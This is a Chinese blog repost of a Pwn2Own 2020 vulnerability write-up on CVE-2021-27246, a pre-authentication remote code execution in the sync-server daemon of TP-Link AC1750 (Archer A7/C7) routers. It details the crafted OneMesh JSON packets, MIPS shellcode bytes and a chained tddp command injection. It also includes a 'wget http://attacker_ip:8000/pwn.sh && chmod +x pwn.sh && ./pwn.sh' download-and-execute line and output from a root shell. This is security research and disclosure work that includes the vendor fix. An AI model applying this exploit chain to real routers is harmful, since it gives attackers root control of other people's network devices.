如何利用漏洞无线撸服务器,对PWN2OWN上TP-LINK AC1750 路由器漏洞的利用分析

79ba0c70ef1cc750a3c78b50f9b18023.png

本文介绍了TP-Link AC1750智能Wifi路由器中发现的预身份验证的远程执行代码漏洞。

该漏洞位于运行在TP-Link Archer A7(AC1750)路由器上的同步服务器守护程序中。攻击者可以通过路由器的LAN端远程利用此漏洞,而无需进行身份验证。同步服务器不响应网络请求,但会解析tdpServer守护程序写入共享内存中的某些数据。通过将精心选择的数据发送到tdpServer和适当的时间,可以在同步服务器中执行任意代码,并且攻击者获得具有最高特权级别的路由器的完全控制权。此漏洞的CVE编号为CVE-2021-27246。

0x01 TDPserver 调试

在拿到测试设备(TP-Link C7 v5和TP-Link A7 v5)之后,我们想要获得一个shell并设置调试环境。可以很容易地找到4个普通的UART引脚并将其与它们的功能相关联,但是我们注意到该器件完全忽略了我们的按键操作。此行为在OpenWRT文档以及解决方案中进行了描述,将路由器的TX引脚焊接到正确的PCB迹线:

19d2538a1a06a4d81a3c8fdeb3344e5b.png

我们使用buildroot配置正确的选项(例如BR2_MIPS_SOFT_FLOAT = y,BR2_TOOLCHAIN_BUILDROOT_LIBC =“ musl”)创建了MIPS32大端工具链,并编译了gdbserver,strace和包含大多数applet的busybox。

另外,还注意到TP-Link不会阻止固件降级,最终允许刷新具有已知漏洞的固件以在设备上root并简化进一步的漏洞研究。

在监听局域网的服务中,tdpServer是为了在Pwn2Own上进行研究和开发的。可以通过端口20002上的UDP访问此服务,该端口使用名为TDP的专有协议。至少有2个博客文章详细解释了TPD协议的工作原理:

·https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo

·https://labs.f-secure.com/advisories/tp-link-ac1750-pwn2own-2019/

该守护程序处理多种类型的TDP数据包并解析以JSON形式发送的数据。根据类型和操作码,可能需要使用硬编码的AES密钥或固定的XOR进行加密。数据包的报头具有固定的大小,payload如下:

typedef struct tdp_packet {

uint8_t version; // fixed to 1

uint8_t type; // 0xF8 is onemesh

uint16_t opcode; // used by the onemesh main switch table

uint16_t len; // packet length

uint8_t flags; // some flags (fixed)

uint8_t align; // struct alignment

uint32_t sn; // serial number, any value

uint32_t crc32; // packet checksum

uint8_t payload[0x400] // payload, max 0x400 bytes, json format

} packet;

经过一些初步研究,我们没有发现tdpServer中的漏洞。我们仍然注意到,类型0xF8(OneMesh)的处理程序,操作码0x0007(slave_key_offer),在对输入数据(存储在字段payload中的JSON字典)进行验证之后,执行了进一步的操作,例如将数据添加到SHM段中。我们设计了一个payload来到达此代码路径,并决定继续分析此SHM的调用者:

"method": "slave_key_offer",

"data": {

"group_id": "1",

"ip": "1.3.3.7",

"slave_mac": "00:11:22:33:44:55",

"slave_private_account": "admin",

"slave_private_password": "admin",

"want_to_join": true,

"model": "pwned",

"product_type": "tplink",

"operation_mode": "whatever",

"signal_strength_24g": 2,

"signal_strength_5g": 2,

"link_speed_24g": 1,

"link_speed_5g": 1,

"level": 3,

"connection_type": "whatever"

0x02 漏洞挖掘

搜索导入了shmat的二进制文件后,我们确定了同步服务器。其目标是同步来自tdpServer的数据并在/ tmp中输出JSON文件,以供其他进程使用(例如,Web界面)。

定期调用_handle_request_clients_async函数并从tdpServer填充的共享内存中读取数据,并使用名为onemesh_listDevices的函数解析其内容:

int onemesh_listDevices(void **out,int param_2,int param_3)

pvVar1 = (void *)json_object_new_object();

*out = pvVar1;

shm_addr = onemesh_attachSharedBuff();

if (shm_addr != NULL) {

current_shm_client = shm_addr;

uVar1 = json_object_new_string((char *)current_shm_client);

json_object_object_add((int)pvVar2,"group_id",uVar1);

uVar1 = json_object_new_string(current_shm_client->mac);

json_object_object_add(pvVar2,"mac",uVar1);

uVar1 = json_object_new_string(current_shm_client->ip);

json_object_object_add(pvVar2,"ip",uVar1);

uVar1 = json_object_new_string(current_shm_client->model);

然后,它将两个字段(ip和mac)复制到包含64个slots的本地堆栈数组。可以注意到,这些值在数组中被两个两个地复制,通过迭代有效地填充了两个 slots。由于未执行绑定检查,因此包含32个以上设备的SHM将使该数组溢出,并允许使用指向堆空间的指针(SHM中的ip和mac字段的副本)覆盖$ fp和$ ra:

undefined4 _handle_request_clients_async(void)

char *arr_ip_mac [64]; // v;

head = head->next;

type = json_object_get_type(main_json_object);

counter = i;

if ((type != JSON_OBJECT) || (json_field_ip = (int)json_object_object_get(main_json_object,"ip"), json_field_ip == 0)) break;

json_field_ip_ = json_object_object_get(main_json_object,"ip");

json_type_mac = json_object_object_get(main_json_object,"mac");

if ((json_field_ip_ == NULL) || (json_type_mac == NULL)) break;

ip_as_str = json_object_get_string(json_field_ip_);

counter = i + 1;

arr_ip_mac[i * 2] = ip_as_str; // <================= [2]

mac_as_str = json_object_get_string(json_type_mac);

arr_ip_mac[i * 2 + 1] = mac_as_str; // <================= [3]

i = counter;

if (head == NULL) goto LAB_00404b48;

调试日志有助于跟踪正在处理的OneMesh设备的数量,这是3个数据包已发送到tdpServer并由sync-server正确处理后的日志:

sync-server:_handle_request_clients_async:2494: [DBG] count is 3

将50个数据包发送到tdpServer并稍等片刻后,sync-server中发生崩溃:

root@ArcherC7v5:~# sync-server

sync-server:_handle_request_clients_async:2494: [DBG] count is 49

sync-server:_handle_request_clients_async:2503: [DBG] Infile: /tmp/sync-server/request-input-2046063169-25104

sync-server:_handle_request_clients_async:2508: [DBG] Outfile: /tmp/sync-server/request-output-1502619911-25104

Illegal instruction

0x03 Bypass 缓解措施

这个漏洞非常有趣:保存的寄存器不会被payload数据覆盖,而是会被指向受控数据的指针覆盖。这意味着当$ ra从堆栈中恢复时,它将自动指向受控数据!由于堆段是RWX,因此可以直接执行代码,而无需任何努力就可以绕过ASLR。动态分析表明$ ra从指向mac字段的指针恢复,这意味着我们可以将shellcode放入其中以查看其执行情况。

如前所述,在JSON字符串中发送的MAC地址必须通过JSON语法和格式检查器,从而将payload的每个字符限制为[0x00-0xff]范围的一小部分。编写shellcode可能很有趣,但是tdpServer将mac地址的大小限制为17个字节,因为MIPS指令的长度为4个字节。

通过研究JSON解析器,发现可以使用unicode编码(例如\ u00xx)来将集合[0x01-0xff]中的字节写入共享内存。这似乎不是合法的转义方法,但是可以运行并扩大了我们对共享内存中发送的数据的控制范围,剩下的唯一约束是避免空字节。

同步服务器在一个已知地址处导入了system()函数,因为二进制文件是在不使用PIE的情况下编译的,幸运的是,操作码不会包含任何空字节:

0C 10 07 14 jal system

因此,mac地址可以以“ \ u000c \ u0010 \ u0007 \ u0014”开头。

要运行的命令的地址应放在$ a0寄存器中(由于MIPS中的推测调用,因此应将其放在jal系统之后)。触发漏洞的程序状态有很大帮助,因为在函数结尾部分,一些寄存器从堆栈中恢复(寄存器$ s0到$ s7),并且堆栈中存在指向ip和mac的指针。$ s0到$ s7的寄存器将包含指向字符串的指针,这正是所需的。$ s2寄存器指向一个ip值,可以使用不包含任何空字节的操作码将$ s2移至$ a0:

02 40 20 25 move $a0,$s2

之后,$ a0指向完全受控的数据。我们使用的最终shellcode是“ \ u000c \ u0010 \ u0007 \ u0014 \ u0002 \ u0040 \ u0020 \ u0025”。

这样,就可以通过同步服务器执行命令,并且可以启动任意命令。实际上,由于tdpServer具有一种重复数据删除例程,因此将唯一值(单调计数器)附加到50个mac地址中的每个地址。使用此唯一的ID,可以保证所有数据都是唯一的,并将其推送到共享内存中。出于相同的避免重复数据删除的原因,相对而言,“ cmd; num_id”用作ip值。

易受攻击的函数称为“异步”,并且已观察到每80秒调用一次。攻击者必须发送数据,并等待80秒钟。

最后一个问题仍然存在:如何获取远程Shell?只能启动一个命令,因为同步服务器由于我们的shellcode而崩溃。该命令的长度很短,如果使用id,则为12个字节:“ cmd; num_id”,最多15个字节。由于没有telnetd或netcat,此时最好的方法似乎是启动tddp二进制文件,这是默认情况下未启动的调试后台驻留程序,并且存在历史漏洞(例如https:// mjg59)。dreamwidth.org/51672.html)。

该脚本和漏洞利用程序已进行了少量调整,并在目标设备上执行了带有Lua绑定shell的命令注入。攻击受到注入命令的大小的限制,但是仍有足够的空间来下载shell脚本并执行该脚本:

wget http://attacker_ip:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh

这样,攻击者便获得了shell。由于所有守护程序都以root用户身份运行(tdpServer,sync-server和tddp),因此攻击者在设备上获得了最高级别的特权。

0x04 漏洞利用开发

我们将利用代码分为4个文件:

·exploit.sh:HTTP服务器的实例化,两个漏洞利用程序的编排等;

·tdpwn.py:关联文件;

·tdp.py:利用前面讨论的命令注入;

·pwn.sh:要在路由器上执行的命令(例如Lua绑定shell)。

Pwn2Own版本还通过写入/ sys / devices / platform / leds-gpio / leds / * / brightness捆绑了负责“ lightshow”的Lua脚本。

脚本可在GitHub上找到,网址为https://github.com/synacktiv/CVE-2021-27246_Pwn2Own2020。将你的IP地址设置为192.168.0.100后,运行 exploit.sh 并等待足够的时间,就可以获得一个反向Shell:

$ bash exploit.sh

[+] Launching web server for distribution of pwn.sh

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

INFO:tdpwn:Associating 49 onemesh clients...

INFO:tdpwn:Done!

And wait for 80 seconds...

80 seconds left...

70 seconds left...

60 seconds left...

50 seconds left...

40 seconds left...

30 seconds left...

20 seconds left...

10 seconds left...

[+] Trying to exploit the tddp injection

INFO:tdp:Preparing tddpv1_configset payload

INFO:tdp:Sending payload

[+] Trying the root shell (Low probability of success...)

nc -v 192.168.0.1 12345

nc: connect to 192.168.0.1 port 12345 (tcp) failed: Connection refused

[ ] If shell hasn't succeed, don't worry, we retry

INFO:tdpwn:Associating 49 onemesh clients...

INFO:tdpwn:Done!

And wait for 80 seconds...

80 seconds left...

70 seconds left...

60 seconds left...

50 seconds left...

40 seconds left...

30 seconds left...

20 seconds left...

10 seconds left...

[+] Trying to exploit the tddp injection

INFO:tdp:Preparing tddpv1_configset payload

INFO:tdp:Sending payload

192.168.0.1 - - [30/Nov/2020 12:10:59] "GET /pwn.sh HTTP/1.1" 200 -

[+] Trying the root shell (High probability of success...)

nc -v 192.168.0.1 12345

Connection to 192.168.0.1 12345 port [tcp/*] succeeded!

uname -a

Linux ArcherA7v5 3.3.8 #1 Mon Sep 14 19:52:46 CST 2020 mips GNU/Linux

id

uid=0(root) gid=0(root)

^C[-] Stopping Webserver, now

Terminated

对同步服务器没有任何控制,某些回调会定期启动以强制解析共享内存。除了等待,别无其他解决方案。还已经观察到,利用漏洞的首次启动几乎总是失败,因为同步服务器最初出于未知原因仅从共享内存中解析20到30个新设备,因此不会触发漏洞。为了提高可靠性,可以重新发起攻击,并且成功概率超过99%。如果再次失败,则第三次尝试就可以获取shell,该漏洞利用程序需要80秒才能唤醒计时器,从而使同步服务器唤醒,因此通常在160秒后会弹出一个shell。

0x05 漏洞修复

TP-Link已在其网站(https://www.tp-link.com/us/support/download/archer-c7/#Firmware)上发布了补丁,发行说明说:

Modifications and Bug Fixes:

1. Fix the vulnerabilities of modules such as OneMesh and IPv6 to enhance device security;

该漏洞已得到修复,在存在漏洞的函数中,检查该数组是否存在溢出:

v13 = json_object_object_get(v11, "ip");

v12 = json_object_object_get(v11, "mac");

v14 = v12;

if ( !v13 || !v12 || v10 >= 64 )

break;

v10是ip和mac的计数器。这样,即使共享内存包含64个以上的对象,该数组也不会溢出。

这就是我们在TP-Link AC1750智能Wifi路由器上实现LAN侧预认证的RCE的方式。

参考及来源:https://www.synacktiv.com/en/publications/pwn2own-tokyo-2020-defeating-the-tp-link-ac1750.html#

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值